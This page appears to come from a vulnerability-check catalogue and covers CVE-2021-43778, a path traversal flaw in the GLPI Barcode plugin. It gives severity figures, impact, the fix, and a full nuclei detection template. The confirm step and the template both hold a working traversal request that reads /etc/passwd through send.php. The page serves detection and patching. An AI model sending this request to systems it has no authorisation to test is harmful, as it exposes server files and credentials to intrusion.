GLPI plugin Barcode < 2.6.1 - Path Traversal Vulnerability.

highseverity

7.5CVSS score

51.7%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

Barcode is a GLPI plugin for printing barcodes and QR codes. GLPI instances version 2.x prior to version 2.6.1 with the barcode plugin installed are vulnerable to a path traversal vulnerability.

Impact

An attacker can exploit this vulnerability to read arbitrary files on the server, potentially leading to unauthorized access or sensitive information disclosure.

Fix

Upgrade to version 2.6.1 or later. Or, as a workaround, delete the `front/send.php` file.

How to confirm it

Send: GET {{BaseURL}}/glpi/plugins/barcode/front/send.php?file=../../../../../../../../etc/passwd
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2021-43778 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2021-43778

info:
  name: GLPI plugin Barcode < 2.6.1 - Path Traversal Vulnerability.
  author: cckuailong
  severity: high
  description: Barcode is a GLPI plugin for printing barcodes and QR codes. GLPI instances version 2.x prior to version 2.6.1 with the barcode plugin installed are vulnerable to a path traversal vulnerability.
  impact: |
    An attacker can exploit this vulnerability to read arbitrary files on the server, potentially leading to unauthorized access or sensitive information disclosure.
  remediation: Upgrade to version 2.6.1 or later. Or, as a workaround, delete the `front/send.php` file.
  reference:
    - https://github.com/AK-blank/CVE-2021-43778
    - https://nvd.nist.gov/vuln/detail/CVE-2021-43778
    - https://github.com/pluginsGLPI/barcode/security/advisories/GHSA-2pjh-h828-wcw9
    - https://github.com/pluginsGLPI/barcode/releases/tag/2.6.1
    - https://github.com/pluginsGLPI/barcode/commit/428c3d9adfb446e8492b1c2b7affb3d34072ff46
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-43778
    cwe-id: CWE-22
    epss-score: 0.51724
    epss-percentile: 0.98957
    cpe: cpe:2.3:a:glpi-project:barcode:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: glpi-project
    product: barcode
  tags: cve,cve2021,glpi,lfi,plugin,traversal,glpi-project,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/glpi/plugins/barcode/front/send.php?file=../../../../../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from